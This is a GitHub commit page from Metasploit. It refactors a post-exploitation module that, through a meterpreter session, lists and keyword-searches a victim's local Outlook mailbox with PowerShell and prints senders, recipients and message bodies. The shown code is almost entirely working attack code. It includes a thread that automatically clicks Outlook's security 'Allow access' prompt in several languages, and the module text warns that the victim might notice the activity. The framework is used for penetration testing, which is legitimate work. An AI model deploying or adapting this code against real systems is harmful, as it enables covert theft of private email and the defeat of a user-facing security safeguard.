Skip to content

Commit 9187a40

Browse files
firefartfirefart
committed
outlook post module fixes
1 parent 7c62fa5 commit 9187a40

File tree

2 files changed

+88
-89
lines changed

2 files changed

+88
-89
lines changed

‎data/post/powershell/outlook.ps1

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
function GetSubfolders($root) {
2+
$folders = @()
3+
$folders += $root
4+
foreach ($folder in $root.Folders) {
5+
$folders += GetSubfolders($folder)
6+
}
7+
return $folders
8+
}
9+
10+
function List-Folder {
11+
Clear-host
12+
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
13+
$Outlook = New-Object -ComObject Outlook.Application
14+
$Namespace = $Outlook.GetNameSpace("MAPI")
15+
$account = $NameSpace.Folders
16+
$folders = @()
17+
foreach ($acc in $account) {
18+
foreach ($folder in $acc.Folders) {
19+
$folders += GetSubfolders($folder)
20+
}
21+
}
22+
$folders | FT FolderPath
23+
}
24+
25+
function Get-Emails {
26+
param ([String]$searchTerm,[String]$Folder)
27+
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
28+
$Outlook = New-Object -ComObject Outlook.Application
29+
$Namespace = $Outlook.GetNameSpace("MAPI")
30+
$account = $NameSpace.Folders
31+
$found = $false
32+
foreach ($acc in $account) {
33+
try {
34+
$Email = $acc.Folders.Item($Folder).Items
35+
$result = $Email | Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'}
36+
if($result) {
37+
$found = $true
38+
$result | Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
39+
}
40+
} catch {
41+
Write-Host "Folder" $Folder "not found in mailbox" $acc.Name
42+
}
43+
}
44+
if(-Not $found) {
45+
Write-Host "Searchterm" $searchTerm "not found"
46+
}
47+
}

‎modules/post/windows/gather/outlook.rb

Lines changed: 41 additions & 89 deletions
Original file line numberDiff line numberDiff line change
@@ -9,111 +9,63 @@ class Metasploit3 < Msf::Post
99
include Msf::Post::Windows::Registry
1010
include Msf::Post::Windows::Powershell
1111

12-
A_HASH = { "en_US" => "Allow", "NL" => "Toestaan", "de_DE" => "Erteilen", "de_AT" => "Erteilen" }
13-
ACF_HASH = { "en_US" => "Allow access for", "NL" => "Toegang geven voor", "de_DE" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr", "de_AT" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr" }
12+
A_HASH = { "en_US" => "Allow", "NL" => "Toestaan", "de_DE" => "Erteilen", "de_AT" => "Erteilen" }
13+
ACF_HASH = { "en_US" => "Allow access for", "NL" => "Toegang geven voor", "de_DE" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr", "de_AT" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr" }
1414

1515
def initialize(info={})
1616
super(update_info(info,
17-
'Name' => 'Windows Gather Outlook Email Messages',
18-
'Description' => %q{
19-
This module allows you to read and search email messages from the local Outlook installation using powershell. Please note that this module is manipulating the victims keyboard/mouse.
20-
If a victim is behind the target system, he might notice the activities of this module. Tested on Windows 8.1 x64 with Office 2013.
21-
},
22-
'License' => MSF_LICENSE,
23-
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ],
24-
'References' => [ 'URL', 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ],
25-
'Platform' => [ 'win' ],
26-
'Arch' => [ 'x86', 'x64' ],
27-
'SessionTypes' => [ 'meterpreter'],
28-
'Actions' => [
29-
[ 'LIST', { 'Description' => 'Lists all folders' } ],
30-
[ 'SEARCH', { 'Description' => 'Searches for an email' } ]
31-
],
32-
'DefaultAction' => 'LIST'
33-
))
34-
35-
register_options(
36-
[
37-
OptString.new('FOLDER', [ false, ' The e-mailfolder to read (e.g. Inbox)' ]),
38-
OptString.new('KEYWORD', [ false, ' Search e-mails by the keyword specified here' ]),
39-
OptString.new('A_TRANSLATION', [ false, ' Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]),
40-
OptString.new('ACF_TRANSLATION', [ false, ' Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ]),
17+
'Name' => 'Windows Gather Outlook Email Messages',
18+
'Description' => %q{
19+
This module allows you to read and search email messages from the local Outlook installation using powershell. Please note that this module is manipulating the victims keyboard/mouse.
20+
If a victim is behind the target system, he might notice the activities of this module. Tested on Windows 8.1 x64 with Office 2013.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ],
24+
'References' => [ 'URL', 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ],
25+
'Platform' => [ 'win' ],
26+
'Arch' => [ 'x86', 'x64' ],
27+
'SessionTypes' => [ 'meterpreter' ],
28+
'Actions' => [
29+
[ 'LIST', { 'Description' => 'Lists all folders' } ],
30+
[ 'SEARCH', { 'Description' => 'Searches for an email' } ]
31+
],
32+
'DefaultAction' => 'LIST'
33+
))
34+
35+
register_options(
36+
[
37+
OptString.new('FOLDER', [ false, ' The e-mailfolder to read (e.g. Inbox)' ]),
38+
OptString.new('KEYWORD', [ false, ' Search e-mails by the keyword specified here' ]),
39+
OptString.new('A_TRANSLATION', [ false, ' Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]),
40+
OptString.new('ACF_TRANSLATION', [ false, ' Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ]),
4141
], self.class)
4242
end
4343

44-
def listBoxes
45-
# This function prints a listing of available mailbox folders
46-
psh_script = %Q|
47-
function GetSubfolders($root) {
48-
$folders = @()
49-
$folders += $root
50-
foreach ($folder in $root.Folders) {
51-
$folders += GetSubfolders($folder)
52-
}
53-
return $folders
54-
}
55-
function List-Folder {
56-
Clear-host
57-
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
58-
$Outlook = New-Object -ComObject Outlook.Application
59-
$Namespace = $Outlook.GetNameSpace("MAPI")
60-
$account = $NameSpace.Folders
61-
$folders = @()
62-
foreach ($acc in $account) {
63-
foreach ($folder in $acc.Folders) {
64-
$folders += GetSubfolders($folder)
65-
}
66-
}
67-
$folders \| FT FolderPath
68-
}
69-
List-Folder
70-
|
44+
def execute_outlook_script(command)
45+
base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "outlook.ps1"))
46+
psh_script = base_script << command
7147
compressed_script = compress_script(psh_script)
7248
cmd_out, runnings_pids, open_channels = execute_script(compressed_script)
7349
while(d = cmd_out.channel.read)
74-
print ("#{d}")
50+
print ("#{d}")
7551
end
7652
currentidle = session.ui.idle_time
77-
print("\n")
78-
print_status("System has currently been idle for #{currentidle} seconds")
53+
vprint_status("System has currently been idle for #{currentidle} seconds")
54+
end
55+
56+
# This function prints a listing of available mailbox folders
57+
def listBoxes
58+
command = 'List-Folder'
59+
execute_outlook_script(command)
7960
end
8061

62+
# This functions reads Outlook using powershell scripts
8163
def readEmails(folder,keyword,atrans,acftrans)
82-
# This functions reads Outlook using powershell scripts
8364
view = framework.threads.spawn("ButtonClicker", false) {
8465
clickButton(atrans,acftrans)
8566
}
86-
psh_script = %Q|
87-
function Get-Emails {
88-
param ([String]$searchTerm,[String]$Folder)
89-
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
90-
$Outlook = New-Object -ComObject Outlook.Application
91-
$Namespace = $Outlook.GetNameSpace("MAPI")
92-
$account = $NameSpace.Folders
93-
$found = $false
94-
foreach ($acc in $account) {
95-
try {
96-
$Email = $acc.Folders.Item($Folder).Items
97-
$result = $Email \| Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'}
98-
if($result) {
99-
$found = $true
100-
$result \| Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
101-
}
102-
} catch {
103-
Write-Host "Folder" $Folder "not found in mailbox" $acc.Name
104-
}
105-
}
106-
if(-Not $found) {
107-
Write-Host "Searchterm" $searchTerm "not found"
108-
}
109-
}
110-
Get-Emails "#{keyword}" "#{folder}"
111-
|
112-
compressed_script = compress_script(psh_script)
113-
cmd_out, runnings_pids, open_channels = execute_script(compressed_script, 120)
114-
while(d = cmd_out.channel.read)
115-
print ("#{d}")
116-
end
67+
command = "Get-Emails \"#{keyword}\" \"#{folder}\""
68+
execute_outlook_script(command)
11769
end
11870

11971
def clickButton(atrans,acftrans)
@@ -190,7 +142,7 @@ def run
190142
case action.name
191143
when 'LIST'
192144
print_good('Available folders in the mailbox: ')
193-
listBoxes()
145+
listBoxes
194146
when 'SEARCH'
195147
readEmails(folder,keyword,atrans,acftrans)
196148
else

0 commit comments

Comments
 (0)